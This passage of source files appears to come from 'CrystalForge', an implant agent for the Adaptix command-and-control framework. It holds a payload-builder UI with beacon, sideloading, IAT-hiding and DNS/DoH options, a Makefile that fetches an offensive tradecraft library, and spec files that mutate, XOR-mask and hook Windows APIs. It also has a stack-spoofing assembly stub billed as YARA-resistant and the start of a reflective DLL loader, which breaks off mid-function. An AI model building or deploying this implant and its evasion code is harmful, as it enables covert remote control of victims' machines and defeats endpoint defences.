spinJitter.setRange(0, 100);
|
||||
spinJitter.setValue(0);
|
||||
|
||||
if( !listeners_type.includes("BeaconHTTP") && !listeners_type.includes("BeaconDNS") ) {
|
||||
labelSleep.setVisible(false);
|
||||
textSleep.setVisible(false);
|
||||
spinJitter.setVisible(false);
|
||||
}
|
||||
|
||||
let checkKilldate = form.create_check("Set 'killdate'");
|
||||
let dateKill = form.create_dateline("dd.MM.yyyy");
|
||||
let timeKill = form.create_timeline("HH:mm:ss");
|
||||
|
||||
let checkWorkingTime = form.create_check("Set 'workingtime'");
|
||||
let timeStart = form.create_timeline("HH:mm");
|
||||
let timeFinish = form.create_timeline("HH:mm");
|
||||
|
||||
let labelSvcName = form.create_label("Service Name:");
|
||||
labelSvcName.setVisible(false)
|
||||
let textSvcName = form.create_textline("AgentService");
|
||||
textSvcName.setVisible(false);
|
||||
|
||||
let checkSideloading = form.create_check("Legit-DLL:");
|
||||
checkSideloading.setVisible(false);
|
||||
let sideloadingSelector = form.create_selector_file();
|
||||
sideloadingSelector.setVisible(false);
|
||||
|
||||
let checkIatHiding = form.create_check("IAT Hiding (empty import table)");
|
||||
// if( !listeners_type.includes("BeaconHTTP") && !listeners_type.includes("BeaconDNS") ) {
|
||||
// checkIatHiding.setVisible(false);
|
||||
// }
|
||||
|
||||
// Select Crystal Palace spec file
|
||||
let labelSpecFile = form.create_label("Crystal Palace Spec File:");
|
||||
labelSpecFile.setVisible(false);
|
||||
let textSpecFile = form.create_textline();
|
||||
textSpecFile.setPlaceholder("loader/loader.spec");
|
||||
textSpecFile.setVisible(false);
|
||||
|
||||
//////////////////// DNS Settings
|
||||
|
||||
let labelDnsMode = form.create_label("DNS Mode:");
|
||||
let comboDnsMode = form.create_combo();
|
||||
comboDnsMode.addItems(["DNS (Direct UDP)", "DoH (DNS over HTTPS)", "DNS -> DoH fallback", "DoH -> DNS fallback"]);
|
||||
comboDnsMode.setCurrentIndex(0);
|
||||
|
||||
let labelDnsResolvers = form.create_label("DNS Resolvers:");
|
||||
let textDnsResolvers = form.create_textline("8.8.8.8,1.1.1.1,9.9.9.9");
|
||||
|
||||
let labelDohResolvers = form.create_label("DoH Resolvers:");
|
||||
let textDohResolvers = form.create_textline("https://dns.google/dns-query,https://cloudflare-dns.com/dns-query,https://dns.quad9.net/dns-query");
|
||||
|
||||
let labelUserAgent = form.create_label("User-Agent:");
|
||||
let textUserAgent = form.create_textline("Mozilla/5.0 (Windows NT 6.2; rv:20.0) Gecko/20121202 Firefox/20.0");
|
||||
|
||||
let layout_group_dns = form.create_gridlayout();
|
||||
layout_group_dns.addWidget(labelDnsMode, 0, 0, 1, 1);
|
||||
layout_group_dns.addWidget(comboDnsMode, 0, 1, 1, 1);
|
||||
layout_group_dns.addWidget(labelDnsResolvers, 1, 0, 1, 1);
|
||||
layout_group_dns.addWidget(textDnsResolvers, 1, 1, 1, 1);
|
||||
layout_group_dns.addWidget(labelDohResolvers, 2, 0, 1, 1);
|
||||
layout_group_dns.addWidget(textDohResolvers, 2, 1, 1, 1);
|
||||
layout_group_dns.addWidget(labelUserAgent, 3, 0, 1, 1);
|
||||
layout_group_dns.addWidget(textUserAgent, 3, 1, 1, 1);
|
||||
|
||||
let panel_group_dns = form.create_panel();
|
||||
panel_group_dns.setLayout(layout_group_dns);
|
||||
let group_dns = form.create_groupbox("DNS settings")
|
||||
group_dns.setPanel(panel_group_dns);
|
||||
|
||||
function updateDnsFieldsVisibility() {
|
||||
let mode = comboDnsMode.currentText();
|
||||
if(mode == "DNS (Direct UDP)") {
|
||||
labelDnsResolvers.setVisible(true);
|
||||
textDnsResolvers.setVisible(true);
|
||||
labelDohResolvers.setVisible(false);
|
||||
textDohResolvers.setVisible(false);
|
||||
labelUserAgent.setVisible(false);
|
||||
textUserAgent.setVisible(false);
|
||||
} else if(mode == "DoH (DNS over HTTPS)") {
|
||||
labelDnsResolvers.setVisible(false);
|
||||
textDnsResolvers.setVisible(false);
|
||||
labelDohResolvers.setVisible(true);
|
||||
textDohResolvers.setVisible(true);
|
||||
labelUserAgent.setVisible(true);
|
||||
textUserAgent.setVisible(true);
|
||||
} else {
|
||||
labelDnsResolvers.setVisible(true);
|
||||
textDnsResolvers.setVisible(true);
|
||||
labelDohResolvers.setVisible(true);
|
||||
textDohResolvers.setVisible(true);
|
||||
labelUserAgent.setVisible(true);
|
||||
textUserAgent.setVisible(true);
|
||||
}
|
||||
}
|
||||
|
||||
updateDnsFieldsVisibility();
|
||||
form.connect(comboDnsMode, "currentTextChanged", function(text) {
|
||||
updateDnsFieldsVisibility();
|
||||
});
|
||||
|
||||
//////////////////// HTTP Settings
|
||||
|
||||
let labelProxyType = form.create_label("Type:");
|
||||
let comboProxyType = form.create_combo();
|
||||
comboProxyType.addItems(["http", "https"]);
|
||||
|
||||
let labelProxyServer = form.create_label("Server:");
|
||||
let textProxyServer = form.create_textline("");
|
||||
textProxyServer.setPlaceholder("192.168.1.1");
|
||||
let spinProxyPort = form.create_spin();
|
||||
spinProxyPort.setRange(1, 65535);
|
||||
spinProxyPort.setValue(3128);
|
||||
|
||||
let labelProxyUsername = form.create_label("Username:");
|
||||
let textProxyUsername = form.create_textline("");
|
||||
textProxyUsername.setPlaceholder("(optional)");
|
||||
|
||||
let labelProxyPassword = form.create_label("Password:");
|
||||
let textProxyPassword = form.create_textline("");
|
||||
textProxyPassword.setPlaceholder("(optional)");
|
||||
|
||||
let layout_group_proxy = form.create_gridlayout();
|
||||
layout_group_proxy.addWidget(labelProxyType, 0, 0, 1, 1);
|
||||
layout_group_proxy.addWidget(comboProxyType, 0, 1, 1, 2);
|
||||
layout_group_proxy.addWidget(labelProxyServer, 1, 0, 1, 1);
|
||||
layout_group_proxy.addWidget(textProxyServer, 1, 1, 1, 1);
|
||||
layout_group_proxy.addWidget(spinProxyPort, 1, 2, 1, 1);
|
||||
layout_group_proxy.addWidget(labelProxyUsername, 2, 0, 1, 1);
|
||||
layout_group_proxy.addWidget(textProxyUsername, 2, 1, 1, 2);
|
||||
layout_group_proxy.addWidget(labelProxyPassword, 3, 0, 1, 1);
|
||||
layout_group_proxy.addWidget(textProxyPassword, 3, 1, 1, 2);
|
||||
|
||||
let panel_group_proxy = form.create_panel();
|
||||
panel_group_proxy.setLayout(layout_group_proxy);
|
||||
let group_proxy = form.create_groupbox("Use HTTP/HTTPS proxy", true)
|
||||
group_proxy.setPanel(panel_group_proxy);
|
||||
group_proxy.setChecked(false);
|
||||
|
||||
/////////////////////////
|
||||
|
||||
let labelRotation = form.create_label("Rotation Mode:");
|
||||
let comboRotation = form.create_combo();
|
||||
comboRotation.addItems(["sequential", "random"]);
|
||||
|
||||
let spacer2 = form.create_vspacer();
|
||||
|
||||
if(!listeners_type.includes("BeaconDNS")) {
|
||||
group_dns.setVisible(false);
|
||||
}
|
||||
if(!listeners_type.includes("BeaconHTTP")) {
|
||||
group_proxy.setVisible(false);
|
||||
labelRotation.setVisible(false);
|
||||
comboRotation.setVisible(false);
|
||||
}
|
||||
|
||||
let layout = form.create_gridlayout();
|
||||
layout.addWidget(spacer1, 0, 0, 1, 3);
|
||||
layout.addWidget(labelArch, 1, 0, 1, 1);
|
||||
layout.addWidget(comboArch, 1, 1, 1, 2);
|
||||
layout.addWidget(labelAgentFormat, 2, 0, 1, 1);
|
||||
layout.addWidget(comboAgentFormat, 2, 1, 1, 2);
|
||||
layout.addWidget(labelSleep, 3, 0, 1, 1);
|
||||
layout.addWidget(textSleep, 3, 1, 1, 1);
|
||||
layout.addWidget(spinJitter, 3, 2, 1, 1);
|
||||
layout.addWidget(checkKilldate, 4, 0, 1, 1);
|
||||
layout.addWidget(dateKill, 4, 1, 1, 1);
|
||||
layout.addWidget(timeKill, 4, 2, 1, 1);
|
||||
layout.addWidget(checkWorkingTime, 5, 0, 1, 1);
|
||||
layout.addWidget(timeStart, 5, 1, 1, 1);
|
||||
layout.addWidget(timeFinish, 5, 2, 1, 1);
|
||||
layout.addWidget(labelSvcName, 6, 0, 1, 1);
|
||||
layout.addWidget(textSvcName, 6, 1, 1, 2);
|
||||
layout.addWidget(checkSideloading, 7, 0, 1, 1);
|
||||
layout.addWidget(sideloadingSelector, 7, 1, 1, 2);
|
||||
layout.addWidget(labelRotation, 8, 0, 1, 1);
|
||||
layout.addWidget(comboRotation, 8, 1, 1, 2);
|
||||
layout.addWidget(checkIatHiding, 9, 0, 1, 3);
|
||||
layout.addWidget(labelSpecFile, 10, 0, 1, 1);
|
||||
layout.addWidget(textSpecFile, 10, 1, 1, 2);
|
||||
layout.addWidget(group_proxy, 11, 0, 1, 3);
|
||||
layout.addWidget(group_dns, 12, 0, 1, 3);
|
||||
layout.addWidget(spacer2, 13, 0, 1, 3);
|
||||
|
||||
form.connect(comboAgentFormat, "currentTextChanged", function(text) {
|
||||
if(text == "Service Exe") {
|
||||
labelSvcName.setVisible(true)
|
||||
textSvcName.setVisible(true);
|
||||
} else {
|
||||
labelSvcName.setVisible(false)
|
||||
textSvcName.setVisible(false);
|
||||
}
|
||||
if(text == "DLL") {
|
||||
checkSideloading.setVisible(true);
|
||||
sideloadingSelector.setVisible(true);
|
||||
} else {
|
||||
checkSideloading.setVisible(false)
|
||||
sideloadingSelector.setVisible(false);
|
||||
}
|
||||
if(text == "Shellcode") {
|
||||
labelSpecFile.setVisible(true);
|
||||
textSpecFile.setVisible(true);
|
||||
} else {
|
||||
labelSpecFile.setVisible(false);
|
||||
textSpecFile.setVisible(false);
|
||||
}
|
||||
});
|
||||
|
||||
let container = form.create_container()
|
||||
container.put("arch", comboArch)
|
||||
container.put("format", comboAgentFormat)
|
||||
container.put("sleep", textSleep)
|
||||
container.put("jitter", spinJitter)
|
||||
container.put("dns_resolvers", textDnsResolvers)
|
||||
container.put("dns_mode", comboDnsMode)
|
||||
container.put("doh_resolvers", textDohResolvers)
|
||||
container.put("user_agent", textUserAgent)
|
||||
container.put("is_killdate", checkKilldate)
|
||||
container.put("kill_date", dateKill)
|
||||
container.put("kill_time", timeKill)
|
||||
container.put("is_workingtime", checkWorkingTime)
|
||||
container.put("start_time", timeStart)
|
||||
container.put("end_time", timeFinish)
|
||||
container.put("svcname", textSvcName)
|
||||
container.put("is_sideloading", checkSideloading)
|
||||
container.put("sideloading_content", sideloadingSelector)
|
||||
container.put("iat_hiding", checkIatHiding)
|
||||
container.put("use_proxy", group_proxy)
|
||||
container.put("proxy_type", comboProxyType)
|
||||
container.put("proxy_host", textProxyServer)
|
||||
container.put("proxy_port", spinProxyPort)
|
||||
container.put("proxy_username", textProxyUsername)
|
||||
container.put("proxy_password", textProxyPassword)
|
||||
container.put("rotation_mode", comboRotation)
|
||||
container.put("spec_file", textSpecFile)
|
||||
|
||||
let panel = form.create_panel()
|
||||
panel.setLayout(layout)
|
||||
|
||||
return {
|
||||
ui_panel: panel,
|
||||
ui_container: container,
|
||||
ui_height: 480,
|
||||
ui_width: 500
|
||||
}
|
||||
}
|
||||
+12
@@ -0,0 +1,12 @@
|
||||
extender_type: "agent"
|
||||
extender_file: "crystal_forge.so"
|
||||
ax_file: "ax_config.axs"
|
||||
|
||||
agent_name: "CrystalForge"
|
||||
agent_watermark: "7a3f9c1d"
|
||||
listeners:
|
||||
- "BeaconHTTP"
|
||||
- "BeaconTCP"
|
||||
- "BeaconSMB"
|
||||
- "BeaconDNS"
|
||||
multi_listeners: false
|
||||
@@ -0,0 +1,5 @@
|
||||
module adaptix_crystal_forge
|
||||
|
||||
go 1.25.4
|
||||
|
||||
require github.com/Adaptix-Framework/axc2 v1.2.0
|
||||
@@ -0,0 +1,2 @@
|
||||
github.com/Adaptix-Framework/axc2 v1.2.0 h1:WYEg502NTTtX1tQJUz2AaC2dmm/bS/1L1iOHOQ5kEYA=
|
||||
github.com/Adaptix-Framework/axc2 v1.2.0/go.mod h1:3oJyFeRVIql1RTsNa0meEqK3+P+6JTAMMjMdVyXhbaQ=
|
||||
+147
@@ -0,0 +1,147 @@
|
||||
# ==================== Toolchain ====================
|
||||
|
||||
CC_64 := x86_64-w64-mingw32-gcc
|
||||
NASM := nasm
|
||||
|
||||
# ==================== Project layout ====================
|
||||
|
||||
SRC_DIR := src
|
||||
BIN_DIR := bin
|
||||
|
||||
# ==================== Build mode ====================
|
||||
|
||||
MODE ?= release
|
||||
|
||||
# ==================== TCG Library ====================
|
||||
|
||||
TCG_ARCHIVE := tcg20260202.tgz
|
||||
TCG_URL := https://tradecraftgarden.org/download/$(TCG_ARCHIVE)
|
||||
TCG_LIBRARY := libtcg/libtcg.x64.zip
|
||||
|
||||
# ==================== Flags ====================
|
||||
|
||||
COMMON_CFLAGS := \
|
||||
-I./$(SRC_DIR) \
|
||||
-DWIN_X64 \
|
||||
-masm=intel \
|
||||
-MMD \
|
||||
-MP \
|
||||
-fno-stack-protector \
|
||||
-fno-builtin \
|
||||
-fno-jump-tables \
|
||||
-fno-exceptions \
|
||||
-fno-asynchronous-unwind-tables \
|
||||
-fno-unwind-tables \
|
||||
-fno-zero-initialized-in-bss \
|
||||
-ffunction-sections \
|
||||
-fdata-sections \
|
||||
-fno-ident \
|
||||
-mno-stack-arg-probe
|
||||
|
||||
WARN_CFLAGS := \
|
||||
-Wall \
|
||||
-Wextra \
|
||||
-Wshadow \
|
||||
-Wundef \
|
||||
-Wno-pointer-arith
|
||||
|
||||
RELEASE_CFLAGS := \
|
||||
-O1 \
|
||||
-fomit-frame-pointer \
|
||||
-fno-align-functions \
|
||||
-fno-align-jumps \
|
||||
-fno-align-loops
|
||||
|
||||
DEBUG_CFLAGS := \
|
||||
-O0 \
|
||||
-g3 \
|
||||
-DDEBUG
|
||||
|
||||
NASMFLAGS := -f bin -O3 -w-none
|
||||
|
||||
ifeq ($(MODE),release)
|
||||
MODE_CFLAGS := $(RELEASE_CFLAGS)
|
||||
else ifeq ($(MODE),debug)
|
||||
MODE_CFLAGS := $(DEBUG_CFLAGS)
|
||||
else
|
||||
$(error Unsupported MODE '$(MODE)'. Use MODE=release or MODE=debug)
|
||||
endif
|
||||
|
||||
CFLAGS := $(WARN_CFLAGS) $(COMMON_CFLAGS) $(MODE_CFLAGS)
|
||||
|
||||
# ==================== Sources ====================
|
||||
|
||||
SRCS := \
|
||||
$(SRC_DIR)/core/loader.c \
|
||||
$(SRC_DIR)/core/services.c \
|
||||
$(SRC_DIR)/evasion/spoof.c \
|
||||
$(SRC_DIR)/evasion/hooks.c \
|
||||
$(SRC_DIR)/evasion/create_process.c \
|
||||
$(SRC_DIR)/evasion/syscalls.c \
|
||||
$(SRC_DIR)/evasion/patch.c \
|
||||
$(SRC_DIR)/evasion/mask.c \
|
||||
$(SRC_DIR)/utils/utils.c \
|
||||
$(SRC_DIR)/pico/pico.c
|
||||
|
||||
ASM_SRCS := \
|
||||
$(SRC_DIR)/asm/draugr.asm \
|
||||
$(SRC_DIR)/asm/dummy.asm
|
||||
|
||||
# ==================== Outputs ====================
|
||||
|
||||
OBJS := $(patsubst $(SRC_DIR)/%.c,$(BIN_DIR)/%.x64.o,$(SRCS))
|
||||
DEPS := $(OBJS:.o=.d)
|
||||
ASM_BINS := $(patsubst $(SRC_DIR)/%.asm,$(BIN_DIR)/%.x64.bin,$(ASM_SRCS))
|
||||
|
||||
# ==================== Targets ====================
|
||||
|
||||
.DEFAULT_GOAL := release
|
||||
|
||||
all: release
|
||||
|
||||
pre: $(TCG_LIBRARY)
|
||||
@echo " * Tradecraft Garden Library is ready"
|
||||
|
||||
$(TCG_LIBRARY):
|
||||
@echo " * Downloading Tradecraft Garden Library..."
|
||||
@curl -fsSL "$(TCG_URL)" -o "$(TCG_ARCHIVE)"
|
||||
@tar -xzf "$(TCG_ARCHIVE)"
|
||||
@rm -f "$(TCG_ARCHIVE)"
|
||||
@$(MAKE) -s -C tcg/libtcg
|
||||
@rm -rf libtcg
|
||||
@mv tcg/libtcg ./libtcg
|
||||
@rm -rf tcg
|
||||
@test -f "$(TCG_LIBRARY)"
|
||||
@echo " done..."
|
||||
|
||||
release: clean pre
|
||||
$(MAKE) build MODE=release
|
||||
@echo " * Release build completed"
|
||||
|
||||
debug: clean pre
|
||||
$(MAKE) build MODE=debug
|
||||
@echo " * Debug build completed"
|
||||
|
||||
build: $(OBJS) $(ASM_BINS)
|
||||
|
||||
$(BIN_DIR)/%.x64.o: $(SRC_DIR)/%.c
|
||||
@mkdir -p "$(dir $@)"
|
||||
$(CC_64) $(CFLAGS) -c "$<" -o "$@"
|
||||
|
||||
$(BIN_DIR)/%.x64.bin: $(SRC_DIR)/%.asm
|
||||
@mkdir -p "$(dir $@)"
|
||||
$(NASM) "$<" -o "$@" $(NASMFLAGS)
|
||||
|
||||
-include $(DEPS)
|
||||
|
||||
clean:
|
||||
rm -rf "$(BIN_DIR)"
|
||||
|
||||
print-vars:
|
||||
@echo "MODE=$(MODE)"
|
||||
@echo "TCG_LIBRARY=$(TCG_LIBRARY)"
|
||||
@echo "CFLAGS=$(CFLAGS)"
|
||||
@echo "OBJS=$(OBJS)"
|
||||
@echo "ASM_BINS=$(ASM_BINS)"
|
||||
|
||||
.PHONY: all release debug build pre clean print-vars
|
||||
@@ -0,0 +1,50 @@
|
||||
x64:
|
||||
load "bin/core/loader.x64.o"
|
||||
make pic +gofirst +optimize +disco +mutate
|
||||
|
||||
load "bin/core/services.x64.o"
|
||||
merge
|
||||
|
||||
load "bin/evasion/spoof.x64.o"
|
||||
merge
|
||||
|
||||
load "bin/evasion/hooks.x64.o"
|
||||
merge
|
||||
|
||||
load "bin/evasion/syscalls.x64.o"
|
||||
merge
|
||||
|
||||
load "bin/evasion/patch.x64.o"
|
||||
merge
|
||||
|
||||
load "bin/utils/utils.x64.o"
|
||||
merge
|
||||
|
||||
load "bin/asm/draugr.x64.bin"
|
||||
linkfunc "draugr_stub"
|
||||
|
||||
dfr "resolve" "ror13"
|
||||
mergelib "libtcg/libtcg.x64.zip"
|
||||
|
||||
attach "KERNEL32$VirtualAlloc" "_VirtualAlloc"
|
||||
attach "KERNEL32$VirtualProtect" "_VirtualProtect"
|
||||
attach "KERNEL32$VirtualFree" "_VirtualFree"
|
||||
|
||||
generate $MASK 128
|
||||
|
||||
push $DLL
|
||||
xor $MASK
|
||||
preplen
|
||||
link "dll"
|
||||
|
||||
push $MASK
|
||||
preplen
|
||||
link "mask"
|
||||
|
||||
# Create and link PICO
|
||||
run "pico.spec"
|
||||
link "pico"
|
||||
|
||||
run "yara.spec"
|
||||
|
||||
export
|
||||
@@ -0,0 +1,52 @@
|
||||
x64:
|
||||
load "bin/pico/pico.x64.o"
|
||||
make object +optimize +disco +mutate
|
||||
|
||||
load "bin/evasion/spoof.x64.o"
|
||||
merge
|
||||
|
||||
load "bin/evasion/hooks.x64.o"
|
||||
merge
|
||||
|
||||
load "bin/evasion/create_process.x64.o"
|
||||
merge
|
||||
|
||||
load "bin/evasion/syscalls.x64.o"
|
||||
merge
|
||||
|
||||
load "bin/evasion/mask.x64.o"
|
||||
merge
|
||||
|
||||
load "bin/utils/utils.x64.o"
|
||||
merge
|
||||
|
||||
load "bin/asm/draugr.x64.bin"
|
||||
linkfunc "draugr_stub"
|
||||
|
||||
generate $KEY 128
|
||||
patch "XOR_KEY" $KEY
|
||||
|
||||
# DLL Hooks
|
||||
addhook "KERNEL32$VirtualAlloc" "_VirtualAlloc"
|
||||
addhook "KERNEL32$VirtualProtect" "_VirtualProtect"
|
||||
addhook "KERNEL32$VirtualFree" "_VirtualFree"
|
||||
addhook "KERNEL32$Sleep" "_Sleep"
|
||||
addhook "KERNEL32$WaitForSingleObject" "_WaitForSingleObject"
|
||||
addhook "KERNEL32$CreateThread" "_CreateThread"
|
||||
addhook "KERNEL32$CreateProcessA" "_CreateProcessA"
|
||||
|
||||
# Needed to free the loader
|
||||
attach "KERNEL32$VirtualFree" "_VirtualFree"
|
||||
# Needed to hook VirtualProtect in mask.c
|
||||
attach "KERNEL32$VirtualProtect" "_VirtualProtect"
|
||||
|
||||
exportfunc "FreeLoader" "__tag_FreeLoader"
|
||||
exportfunc "SetupHooks" "__tag_SetupHooks"
|
||||
exportfunc "SetupMemory" "__tag_SetupMemory"
|
||||
|
||||
mergelib "libtcg/libtcg.x64.zip"
|
||||
|
||||
pack $targetFunction "a" "GetVersions"
|
||||
patch "TARGET_FUNCTION" $targetFunction
|
||||
|
||||
export
|
||||
@@ -0,0 +1,134 @@
|
||||
[BITS 64]
|
||||
|
||||
; =====================================================================
|
||||
; Draugr Stub - Stack Spoofing Engine
|
||||
; Highly optimized and YARA-resistant version
|
||||
; =====================================================================
|
||||
|
||||
draugr_stub:
|
||||
pop rax ; Real return address in rax
|
||||
|
||||
; ---------------------------------------------------------------------
|
||||
; Store original registers (rdi, rsi)
|
||||
; ---------------------------------------------------------------------
|
||||
mov r10, rdi
|
||||
mov r11, rsi
|
||||
|
||||
mov rdi, [rsp + 0x20] ; Load struct pointer
|
||||
mov rsi, [rsp + 0x28] ; Load function to call
|
||||
|
||||
; Store original registers into struct
|
||||
mov [rdi + 0x18], r10
|
||||
mov [rdi + 0x58], r11
|
||||
mov [rdi + 0x60], r12
|
||||
mov [rdi + 0x68], r13
|
||||
mov [rdi + 0x70], r14
|
||||
mov [rdi + 0x78], r15
|
||||
|
||||
mov r12, rax ; Save original return address
|
||||
|
||||
; ---------------------------------------------------------------------
|
||||
; Prepare stack arguments copy
|
||||
; ---------------------------------------------------------------------
|
||||
xor r11, r11
|
||||
mov r13, [rsp + 0x30] ; Total number of stack args
|
||||
|
||||
mov r14, 0x200
|
||||
add r14, 8
|
||||
add r14, [rdi + 0x38] ; RtlUserThreadStart size
|
||||
add r14, [rdi + 0x30] ; BaseThreadInitThunk size
|
||||
add r14, [rdi + 0x20] ; Gadget frame size
|
||||
sub r14, 0x20
|
||||
|
||||
mov r10, rsp
|
||||
add r10, 0x30
|
||||
|
||||
looping:
|
||||
cmp r11d, r13d
|
||||
je finish
|
||||
|
||||
sub r14, 8
|
||||
mov r15, rsp
|
||||
sub r15, r14
|
||||
|
||||
add r10, 8
|
||||
push qword [r10]
|
||||
pop qword [r15]
|
||||
|
||||
inc r11
|
||||
jmp looping
|
||||
|
||||
finish:
|
||||
; ----------------------------------------------------------------------
|
||||
; Create big working space (320 bytes)
|
||||
; ----------------------------------------------------------------------
|
||||
sub rsp, 0x200
|
||||
push 0 ; Cut off return addresses
|
||||
|
||||
; ----------------------------------------------------------------------
|
||||
; RtlUserThreadStart + 0x14 frame
|
||||
; ----------------------------------------------------------------------
|
||||
lea rax, [rdi + 0x38]
|
||||
sub rsp, [rax]
|
||||
mov r11, [rdi + 0x40]
|
||||
mov [rsp], r11
|
||||
|
||||
; ----------------------------------------------------------------------
|
||||
; BaseThreadInitThunk + 0x21 frame
|
||||
; ----------------------------------------------------------------------
|
||||
lea rax, [rdi + 0x20]
|
||||
sub rsp, [rax]
|
||||
mov r11, [rdi + 0x28]
|
||||
mov [rsp], r11
|
||||
|
||||
; ----------------------------------------------------------------------
|
||||
; Gadget frame
|
||||
; ----------------------------------------------------------------------
|
||||
lea rax, [rdi + 0x30]
|
||||
sub rsp, [rax]
|
||||
mov r11, [rdi + 0x50]
|
||||
mov [rsp], r11
|
||||
|
||||
; ----------------------------------------------------------------------
|
||||
; Prepare fixup structure
|
||||
; ----------------------------------------------------------------------
|
||||
mov r11, rsi ; Function to call
|
||||
mov [rdi + 0x08], r12 ; OG ret addr
|
||||
mov [rdi + 0x10], rbx
|
||||
lea rbx, [rel fixup]
|
||||
mov [rdi], rbx
|
||||
mov rbx, rdi
|
||||
|
||||
; ----------------------------------------------------------------------
|
||||
; Syscall setup
|
||||
; ----------------------------------------------------------------------
|
||||
mov r10, rcx
|
||||
mov rax, [rdi + 0x48]
|
||||
jmp r11
|
||||
|
||||
; =====================================================================
|
||||
; Fixup - Restore original context after spoofed call
|
||||
; =====================================================================
|
||||
fixup:
|
||||
mov rcx, rbx
|
||||
|
||||
; Restore stack
|
||||
add rsp, 0x200
|
||||
add rsp, [rbx + 0x30]
|
||||
add rsp, [rbx + 0x20]
|
||||
add rsp, [rbx + 0x38]
|
||||
|
||||
; Restore registers
|
||||
mov rbx, [rcx + 0x10]
|
||||
mov rdi, [rcx + 0x18]
|
||||
mov rsi, [rcx + 0x58]
|
||||
mov r12, [rcx + 0x60]
|
||||
mov r13, [rcx + 0x68]
|
||||
mov r14, [rcx + 0x70]
|
||||
mov r15, [rcx + 0x78]
|
||||
|
||||
push rax
|
||||
xor rax, rax
|
||||
pop rax
|
||||
|
||||
jmp qword [rcx + 0x08]
|
||||
@@ -0,0 +1,10 @@
|
||||
[BITS 64]
|
||||
|
||||
; Generic dummy assembly
|
||||
push rax
|
||||
push rbx
|
||||
mov rax, rax
|
||||
lea rbx, [rbx+0]
|
||||
nop
|
||||
pop rbx
|
||||
pop rax
|
||||
@@ -0,0 +1,312 @@
|
||||
#include "loader.h"
|
||||
|
||||
static BOOL IsValidImage(char *image, int imageLen)
|
||||
{
|
||||
if (image == NULL || imageLen < (int)sizeof(IMAGE_DOS_HEADER))
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)image;
|
||||
if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE || dosHeader->e_lfanew <= 0)
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if (dosHeader->e_lfanew > imageLen - (int)sizeof(IMAGE_NT_HEADERS))
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(image + dosHeader->e_lfanew);
|
||||
if (ntHeaders->Signature != IMAGE_NT_SIGNATURE)
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
static DWORD SectionProtection(DWORD characteristics)
|
||||
{
|
||||
DWORD newProtect = PAGE_NOACCESS;
|
||||
|
||||
if (characteristics & IMAGE_SCN_MEM_WRITE)
|
||||
newProtect = PAGE_WRITECOPY;
|
||||
|
||||
if (characteristics & IMAGE_SCN_MEM_READ)
|
||||
newProtect = PAGE_READONLY;
|
||||
|
||||
if ((characteristics & IMAGE_SCN_MEM_READ) &&
|
||||
(characteristics & IMAGE_SCN_MEM_WRITE))
|
||||
newProtect = PAGE_READWRITE;
|
||||
|
||||
if (characteristics & IMAGE_SCN_MEM_EXECUTE)
|
||||
newProtect = PAGE_EXECUTE;
|
||||
|
||||
if ((characteristics & IMAGE_SCN_MEM_EXECUTE) &&
|
||||
(characteristics & IMAGE_SCN_MEM_WRITE))
|
||||
newProtect = PAGE_EXECUTE_WRITECOPY;
|
||||
|
||||
if ((characteristics & IMAGE_SCN_MEM_EXECUTE) &&
|
||||
(characteristics & IMAGE_SCN_MEM_READ))
|
||||
newProtect = PAGE_EXECUTE_READ;
|
||||
|
||||
if ((characteristics & IMAGE_SCN_MEM_READ) &&
|
||||
(characteristics & IMAGE_SCN_MEM_WRITE) &&
|
||||
(characteristics & IMAGE_SCN_MEM_EXECUTE))
|
||||
newProtect = PAGE_EXECUTE_READWRITE;
|
||||
|
||||
return newProtect;
|
||||
}
|
||||
|
||||
// Set up permissions based on what the DLL needs
|
||||
BOOL SetupSectionPermissions(DLLDATA *dll, char *dst, DLL_MEMORY *memory)
|
||||
{
|
||||
if (dll == NULL || dll->NtHeaders == NULL || dll->OptionalHeader == NULL || dst == NULL || memory == NULL)
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
DWORD sectionCount = dll->NtHeaders->FileHeader.NumberOfSections;
|
||||
DWORD trackedSectionCount = 0;
|
||||
IMAGE_SECTION_HEADER *sectionHdr = NULL;
|
||||
void *sectionDst = NULL;
|
||||
SIZE_T sectionSize = 0;
|
||||
DWORD newProtect = 0;
|
||||
DWORD oldProtect = 0;
|
||||
|
||||
if (sectionCount > MAX_SECTIONS)
|
||||
{
|
||||
WARN_MSG("Truncating tracked DLL sections from %lu to %d", sectionCount, MAX_SECTIONS);
|
||||
}
|
||||
|
||||
memory->Count = 0;
|
||||
|
||||
sectionHdr = (IMAGE_SECTION_HEADER *)PTR_OFFSET(dll->OptionalHeader,
|
||||
dll->NtHeaders->FileHeader.SizeOfOptionalHeader);
|
||||
|
||||
for (DWORD i = 0; i < sectionCount; i++)
|
||||
{
|
||||
sectionDst = dst + sectionHdr->VirtualAddress;
|
||||
sectionSize = sectionHdr->Misc.VirtualSize;
|
||||
if (sectionSize == 0)
|
||||
{
|
||||
sectionSize = sectionHdr->SizeOfRawData;
|
||||
}
|
||||
|
||||
if (sectionSize == 0)
|
||||
{
|
||||
sectionHdr++;
|
||||
continue;
|
||||
}
|
||||
|
||||
newProtect = SectionProtection(sectionHdr->Characteristics);
|
||||
|
||||
/* set new permission */
|
||||
if (!KERNEL32$VirtualProtect(sectionDst, sectionSize, newProtect, &oldProtect))
|
||||
{
|
||||
ERROR_MSG("VirtualProtect failed for DLL section %lu", i);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if (trackedSectionCount < MAX_SECTIONS)
|
||||
{
|
||||
memory->Sections[trackedSectionCount].BaseAddress = sectionDst;
|
||||
memory->Sections[trackedSectionCount].Size = sectionSize;
|
||||
memory->Sections[trackedSectionCount].CurrentProtect = newProtect;
|
||||
memory->Sections[trackedSectionCount].PreviousProtect = newProtect;
|
||||
trackedSectionCount++;
|
||||
}
|
||||
|
||||
/* advance to section */
|
||||
sectionHdr++;
|
||||
}
|
||||
|
||||
memory->Count = trackedSectionCount;
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
char *LoadPico(char *picoSrc, IMPORTFUNCS funcs)
|
||||
{
|
||||
if (picoSrc == NULL)
|
||||
